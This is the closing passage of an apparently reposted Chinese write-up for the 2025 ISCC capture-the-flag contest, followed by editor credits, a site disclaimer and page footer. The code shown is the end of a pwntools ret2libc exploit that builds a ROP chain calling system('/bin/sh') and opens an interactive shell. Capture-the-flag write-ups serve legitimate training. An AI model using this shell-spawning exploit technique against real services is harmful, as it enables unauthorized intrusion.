bin_sh = libc_base + next(libc.search(b"/bin/sh"))

payload = flat(

b'a' * 0x60,

p64(0x404038 + 0x600),  # dummy return address

pop_rdi,

bin_sh,

system

)

io.send(payload)

io.interactive()

# -------------------------

# Run Exploit

# -------------------------

libc_base = leak_libc_base()

exploit(libc_base)

排版丨刘朋峻

校对丨潘瑶

审核丨林炳辰

原文始发于微信公众号(凌日网络与信息安全团队):2025 ISCC 区域赛及决赛WP(除八卦)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月20日03:21:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2025 ISCC 区域赛及决赛WP(除八卦)http://cn-sec.com/archives/4083311.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息